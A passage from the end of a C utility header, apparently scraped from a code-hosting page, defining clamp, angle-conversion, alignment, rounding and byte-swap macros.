typeof( max ) _max = max; \
|
|
||||||
( ( ( _x ) < ( _min ) ) ? ( _min ) : ( ( _x ) > ( _max ) ) ? ( _max) : ( _x ) ); \
|
|
||||||
})
|
|
||||||
|
|
||||||
#define DegToRad(a) ( (a) * 0.01745329252f )
|
|
||||||
#define RadToDeg(a) ( (a) * 57.29577951f )
|
|
||||||
|
|
||||||
#define ALIGN4(x) (((x) + 3) & ~3)
|
|
||||||
#define ALIGN32(x) (((x) + 31) & ~31)
|
|
||||||
|
|
||||||
// those work only in powers of 2
|
|
||||||
#define ROUNDDOWN(val, align) ((val) & ~(align-1))
|
|
||||||
#define ROUNDUP(val, align) ROUNDDOWN(((val) + (align-1)), align)
|
|
||||||
|
|
||||||
#define le16(i) ((((u16) ((i) & 0xFF)) << 8) | ((u16) (((i) & 0xFF00) >> 8)))
|
|
||||||
#define le32(i) ((((u32)le16((i) & 0xFFFF)) << 16) | ((u32)le16(((i) & 0xFFFF0000) >> 16)))
|
|
||||||
#define le64(i) ((((u64)le32((i) & 0xFFFFFFFFLL)) << 32) | ((u64)le32(((i) & 0xFFFFFFFF00000000LL) >> 32)))
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#endif // __UTILS_H_
|
|
Loading…
Reference in New Issue
Block a user